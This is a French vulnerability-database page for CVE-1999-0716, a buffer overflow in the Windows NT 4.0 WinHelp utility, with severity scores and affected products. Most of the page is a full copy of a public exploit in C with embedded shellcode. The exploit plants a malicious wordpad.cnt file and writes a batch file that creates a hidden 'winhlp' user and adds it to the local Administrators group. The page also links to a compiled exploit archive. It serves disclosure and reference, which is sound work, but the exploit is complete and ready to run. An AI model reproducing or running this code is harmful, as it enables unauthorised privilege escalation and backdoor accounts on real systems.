CVE-1999-0716 : Détail

CVE-1999-0716

1.3%V4
Local
2000-01-04
04h00 +00:00
2024-08-01
16h48 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in Windows NT 4.0 help file utility via a malformed help file.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19209

Date de publication : 1999-05-16 22h00 +00:00
Auteur : David Litchfield
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/261/info // // Lax permission in the Windows NT help file folder and a buffer overflow in the Help utility may allow malicious users to gain Administrator privileges. // // The Windows NT Help utility parses and displays help information for selected applications. The help files are stored in the %SystemRoot%\help directory. The default permissions in this directory allow any user to add new files. // // A buffer overflow exists in the Help utility when it attempts to read a .cnt file with an overly long heading string. Content tab informaton files ("".cnt"") are generated when rich text format files ("".rtf"") are translated to help files ("".hlp""). If the string is longer than 507 bytes winhlp32 truncates the entry and the buffer overflow does not occur. // // A malicious user can create a custom .cnt help file with executable code in an entry string which when stored in the help directory and viewed by an unsuspecting user can grant them that users privileges. // // The vulnerability is not limited by the permissions of the help file directory as the Help utility will search for a .cnt file first in its execution directory before looking in the help file directory. // #include <stdio.h> #include <windows.h> #include <string.h> int main(void) { char eip[5]=""\xE5\x27\xF3\x77""; char ExploitCode[200]=""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x38\xF1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC\x50\xFF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xFC""; FILE *fd; printf(""\n\n*******************************************************\n""); printf(""* WINHLPADD exploits a buffer overrun in Winhlp32.exe *\n""); printf(""* This version runs on Service Pack 4 machines and *\n""); printf(""* assumes a msvcrt.dll version of 4.00.6201 *\n""); printf(""* *\n""); printf(""* (C) David Litchfield (mnemonix@globalnet.co.uk) '99 *\n""); printf(""*******************************************************\n\n""); fd = fopen(""wordpad.cnt"", ""r""); if (fd==NULL) { printf(""\n\nWordpad.cnt not found or insufficient rights to access it.\nRun this from the WINNT\\HELP directory""); return 0; } fclose(fd); printf(""\nMaking a copy of real wordpad.cnt - wordpad.sav\n""); system(""copy wordpad.cnt wordpad.sav""); printf(""\n\nCreating wordpad.cnt with exploit code...""); fd = fopen(""wordpad.cnt"", ""w+""); if (fd==NULL) { printf(""Failed to open wordpad.cnt in write mode. Check you have sufficent rights\n""); return 0; } fprintf(fd,""1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n"",eip,ExploitCode); fprintf(fd,""2 Opening a document=WRIPAD_OPEN_DOC\n""); fclose(fd); printf(""\nCreating batch file add.bat\n\n""); fd = fopen(""add.bat"", ""w""); if (fd == NULL) { printf(""Couldn't create batch file. Manually create one instead""); return 0; } printf(""The batch file will attempt to create a user account called \""winhlp\"" and\n""); printf(""with a password of \""winhlp!!\"" and add it to the Local Administrators group.\n""); printf(""Once this is done it will reset the files and delete itself.\n""); fprintf(fd,""net user winhlp winhlp!! /add\n""); fprintf(fd,""net localgroup administrators winhlp /add\n""); fprintf(fd,""del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n""); fprintf(fd,""del wordpad.sav\n""); fprintf(fd,""del add.bat\n""); fclose(fd); printf(""\nBatch file created.""); printf(""\n\nCreated. Now open up Wordpad and click on Help\n""); return 0; } NOTE: The attached exploit code has been compiled to run on Windows NT 4.0 SP4 with msvcrt.dll version 4.20.6201 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19209.tar.gz

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_nt >> Version *

Microsoft>>Windows_nt >> Version 4.0

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.